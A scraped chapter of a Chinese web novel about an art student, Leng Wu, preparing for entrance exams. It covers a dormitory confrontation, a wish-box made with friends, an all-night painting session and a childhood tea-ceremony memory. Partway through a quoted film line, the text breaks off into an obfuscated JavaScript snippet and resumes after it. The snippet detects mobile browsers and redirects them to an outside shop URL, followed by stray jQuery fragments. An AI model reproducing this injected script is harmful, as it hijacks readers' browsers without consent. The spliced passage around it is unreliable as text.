默认冷灰
24号文字
方正启体

4. 04绝不

作者:婋女本书字数:K更新时间:
    “你是否全然没有野心,不把自己与别人比较地活在这个世界?因为你比较的时候,就会有冲突、有羡慕、有成功的欲-望,想超越别人。”——克里希那穆提


    ·


    “你可以试试,打我是什么下场。”冷梧一把攥紧她的手,语气悠然,“我会脑震荡,让你赔上一-大笔钱。”


    徐媛瞪着她,恼羞成怒地说:“你唬谁?脑震荡哪里是那么容易得的?”


    “需要我给你普法吗?”冷梧一脸无辜,“那我还是给你科普一下,你会赔我多少钱吧。你打了我后,我会倒在地上,然后口吐唾沫。我家里会请律师,起码向你索赔五万。只要我不还手,你能拿我怎么办?”


    徐媛脸色发白,又听冷梧“好心”提醒:“徐媛,你应该满十八岁了吧?”


    这句话一出,她是真的怕了,本以为冷梧好欺负,没想到竟然不是个软柿子。


    “松开我的手!”徐媛不甘心地想抽出手,可冷梧完全没有放手的意思。


    “来打一下。”冷梧笑意盈盈,脸继续往前伸,“试一下。”


    徐媛咬紧牙关,终于使劲挣脱束缚,口头还要再逞威风:“你真是有病,以后离我们远一点!”


    她指挥着小跟班打扫卫生。冷梧洗好手后,上-床一拉帘子,轻飘飘道:“真没意思。”


    ·


    这个周末,冷梧赶回鹏城。


    她热衷于两地奔波,动车不过半个小时的路程,只要掐好时间,家里-根本发现不了。


    母亲刘棠陪她去机构,处理相关的留学事宜。那时韩本好申,没什么太大压力。中介笑眯眯说:“令嫒的雅思成绩很好,冲-刺高丽、成均馆、梨花女大……都可以。”


    “想去哪个学校?”刘棠问。


    冷梧略一思索:“梨花女大吧。”


    就这样拍板定下来。


    回家路上,刘棠一边开车,一边说:“下个月你婆婆生日,我打算回去一趟。给你带糖油粑粑,你不是最喜欢吃婆婆做的粑粑了吗?”


    婆婆是刘棠的母亲。冷梧小时候不理解,为什么亲人之间,还要加一个“外”字?于是自作主张,将外婆改叫婆婆,这个称呼就这样定了下来。


    婆婆生活在湖南的一个小镇上,这些年里,刘棠总想着接过来养老,但婆婆却执意拒绝。


    “好啊。”冷梧很高兴,“告诉婆婆我想她了。”


    她回家待到星期天中午,就又搭乘动车回到羊城。落地羊城时,父亲突然打来电话。


    “好好吃饭,知道吗?下次回来,提前给老爸打电话,老爸给你煲汤……”


    冷梧抿唇一笑:“知道了,爸爸。我先挂了,还要写卷子呢。”


    这话说得不假,冷梧参加集训,却不敢松懈文化课。除了画画,还要挤出时间复习。


    一赶回画室,她就和林苔结伴写卷子。林苔英语不好,而她英语不错,数学却不行,每次看见数字,都想犯困。


    而林苔数学很好,不厌其烦为她讲解。两个女孩因此互补功课。


    “小梧,小蘑菇,我回来了!”全嵘推开门,手里拎着好几个袋子,“这是小梧要喝的奶茶,这是小蘑菇要吃的蛋糕……对了,我还从餐厅打包好了饭菜。”


    周末食堂不开门,他累得虚脱,“这地太偏僻了!我让司机转来转去,兜兜绕绕才开回来。”


    全嵘充当三人组的采购员。林苔也不客气,每次都使唤他大采购。


    “全嵘,我发现你真的任劳任怨。”林苔打开心爱的草莓蛋糕,第一口先给冷梧。


    全嵘切了一声,“要不是看在你是小梧朋友的份上,我才不搭理你呢。”


    两个人拌着嘴,林苔看得出他的心思。毕竟他为冷梧打架的事,在机构广为人知,可结果却不了了之。


    林苔悄悄问过冷梧;“小梧,你会想和全嵘上同一个地方的大学吗?”


    林苔记得冷梧轻轻摇头,然后说不知道。


    如果换做是她,她想和喜欢的人上同一个大学。


    回忆结束,林苔不自觉吃完了草莓蛋糕。


    冷梧整理好桌子,腾出一块空地。她打开平板,看下载好的《识骨寻踪》,完全当成下饭剧。


    林苔觑去一眼,吓得调过头:“你竟然看无-码版!”


    冷梧津津有味,“这是下饭仙品。”


    “我……有点怕。”全嵘不自觉坐远。


    三个人你一言,我一语地用完午餐。谁都没有再说话,只是埋头写着卷子。


    半晌,林苔低低的啜泣声从卷子中响起:“写不完啦,真的写不完。又要画画,又要兼顾文化课。就算联考拿到高分,可文化分如果不行,照样没有好大学上。有好多联考分数高、文化却没过线的人,最后只能去读大专……”


    林苔爆发了:“谁说艺术生就是走捷径?我们又要画画,又要学文化。我简直就是八爪鱼,要参加两次高考!一次是艺术高考,一次是文化高考!”


    画室经常有熬不住的人退学回去,冷梧有时候走到隐蔽角落,能听到不同的哭声。


    “好累,我好累啊!”林苔哭泣。


    冷梧向全嵘递眼神,他一下子明白,哗啦啦从购物袋中捧出一块蛋糕。


    冷梧轻拍林苔后背,用纸巾擦去她的眼泪:“好了,不哭了。吃点甜的,你看,我们都在这里呢。”


    林苔皱着脸,像个小花猫。她哭得上气不接下气:“小梧,我该怎么办?”


    “小苔,你要相信自己。我们三个一定可以考上想去的大学。”冷梧将蛋糕推过去,将刚刚的草莓蛋糕盒擦干净。


    她撕下草稿纸,分成三份,分别递到林苔和全嵘手中。说:“把愿望和目标写在上面,然后折成星星,放在盒子中。等我们高考完,就一起回来打开。”


    林苔停止眼泪,举起笔在纸条上写下:「羊美、广艺」,接着翻到背面,认真地说:“小梧,我想和你做一辈子的朋友。我们同甘共苦,谁都不要忘记谁!”


    林苔在纸条背面写下:「林苔和冷梧好好的,顺带全嵘。」


    一辈子吗?冷梧微愣。她不敢许下长久诺言,可对上林苔真诚的双眼,她竟莫名愿意相信。


    而全嵘在认真写:「考上星海音乐学院。」


    他望着冷梧,偷偷在下面接着写:「和小梧在同一个地方上大学,然后大学在一起,将来永远在一起。」


    他理所应该觉得,冷梧会去考羊美。毕竟在珠三角,羊美的含金量无需多言。


    两人一个在羊美,一个星海,同城方便见面。


    冷梧郑重写下:「宁城艺术学院」,然后折成星星放入盒子中。


    全嵘不会折星星,又不想让她们发现自己的心愿,便胡乱揉成一个纸团。


    三人将心愿放进蛋糕盒,一起找了个隐秘的地方——一个废弃的画柜。林苔吸了吸鼻子,“等高考之后,我们再回来打开。”


    “好。”


    “当然可以!”


    三人许下诺言,约定明年六月再次回来。这个包含-着少年们美好的憧憬,藏在高压的废土中,像一颗种子,等待着萌芽。


    ·


    月底还有一次月考,一过十月,十一月底便是联考。


    冷梧更加努力,每晚都泡在画室。


    画着画着,她抬起头,竟然已经凌晨两点。教室空无他人,只剩下一盏灯。门被锁上了,应该是巡逻人员锁的。


    冷梧直接放弃叫人。


    回到角落,她望着画板沉思。突然间,重新提起笔,蘸满颜料,在画纸上挥舞着笔。


    时间一分一秒度过,十月底的羊城已有微凉。冷梧只穿着一件短袖,寒意从地缝与墙壁中笼罩着她的全身。


    此刻她咬紧牙关,只有一件念头:画!一条命罢了,为什么不能打破瓶颈?


    打开平板,找到下载好的电影,外放声音陪伴着她。


    《乱世佳人》里的斯嘉丽,穿过屏幕呐喊:“……愿上帝做我的见证,他们不会让我屈服


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500953|202728||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的,我一定会渡过难关。战争结束后,我再也不要挨饿,绝不!也不让我的家人挨饿。即使让我撒谎,去偷,去骗,甚至去杀人。愿上帝做我的见证,我绝对不要再挨饿!”


    冷梧忽然身躯一震,顿觉口-干-舌-燥,打开水杯急不可耐地灌入喉中。


    杯子里泡着白牡丹。母亲刘棠说,秋天宜喝白茶。


    她望着杯子,保温杯特有的,泛着一丝凉绿色的底,正浮着水与茶叶。起漾低晃间,恍惚变成绿粼湖面。像块铜镜,影着一段小身子。


    水里,小身子的肩上挑起两个泡泡袖,像大朵的绒球花,在湖中上下飘浮。


    “小梧,别在水边玩!”刘棠在廊上呼唤。


    那年她十岁,盯着湖里的大鱼。听见母亲叮嘱,将手中的鱼料一撒,在鱼扑上来的瞬间,她飞快地跑回自家茶室。


    刘棠为她整理好肩膀的泡泡袖,笑着一点她的鼻头:“跑那么快,也不怕摔跤。去里面坐,和苏老师学习泡茶。”


    此时是清明节前后,茶室里窗棂洞开,满山的葱蔚洇润,与湖泊相映,浮粘上绿色纱屏围。隐约见屏后的削瘦女影,身姿如太湖山石。一时屏上水清树荣,山高花瘦,合成一奇景。


    屏后的女影走出来,是那位姓苏的茶艺师,果真是个美人。她笑着招手:“小梧,进来坐。”


    冷梧乖乖叫“苏老师好”,然后坐在蒲团上,跟着人学习泡茶。


    对于小孩来说,沸沸热水,难免被会烫到。冷梧端盏的双手,立刻抖了一下。


    “反者道之动,弱者道之用。”刘棠从后面握住她的手,仿佛面带微笑,“好茶坏茶,其实没有区别。只要装进好匣子里,就能卖出心仪价格。”


    冷梧端着茶盏,原本摇晃的手,因为母亲的托举而稳稳当当。


    “如果心存善良,就会被人喝掉。”刘棠仍在后面低声说,“知道吗?”


    冷梧借着母亲的手,将茶送到唇边,半推半就地一口饮尽。


    “刘老板。”员工掀帘进来,“有客。蔡检来了。”


    刘棠松开握住女儿的手,笑道:“你还记得蔡叔叔吗?他有个和你差不多大的儿子。来,过去打个招呼。”


    冷梧点点头,从蒲团上站起,勾住母亲的手:“我记得。小蔡哥哥说,他爸爸在家最常喝生普。”


    刘棠半弯下身子,轻轻一刮她的鼻子:“你呀。”


    后来,天公不作美,下了一场雨,打破了沉绿的湖面。涟漪圈圈点点,聚了又散,散了又聚。最后竟聚成一串绿葡萄。


    冷梧盯着画纸上的静物,这串绿葡萄她画到一半,细节还没来得及勾勒。画室的冷光打在上面,悚得让人了无食欲。


    她提起笔,似乎想冲破阻碍,要将画纸戳破。


    斯嘉丽不服输的声音一遍遍响起,“……愿上帝做我的见证,他们不会让我屈服的,我一定会渡过难关……”


    冷梧挥洒画笔,满头大汗,却没有哭泣。


    当数量达到一定程度,便会形成质变。擂得厚厚的画纸铺成阶梯,了悟就在一瞬间。


    笔下开始变得轻盈。画多了,人物与颜色下意识地跳跃而出。


    就像武侠小说里,打通任督二脉后的废材。


    冷梧抬头,与墙上挂钟对视。时针快指向五点,她起身来到窗边,美术楼高层上,可以俯瞰一切。


    机构在郊区,夜景并不繁华。只有路灯与红绿灯在坚守,如抽帧般地闪烁。面对着寒凉夜景,玻璃上的脸年轻却疲倦。


    墙上贴满了同学们的画,巨大横幅在提醒联考的来临。十月下旬不必开风扇,风静止,时间在这一瞬间凝固。


    距离上课还要两个小时。冷梧坐在沙发上,红木微凉,她不由抱了抱自己,半睡半醒地短暂休息。


    孤独的灯光落下,她眨眨眼,好像看见了费雯丽饰演的斯嘉丽。斯嘉丽举着枪,瞄准的是什么?她不禁伸出手,虚虚抓了个空影。


    “斯嘉丽,你也相信人定胜天吧?”她问。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)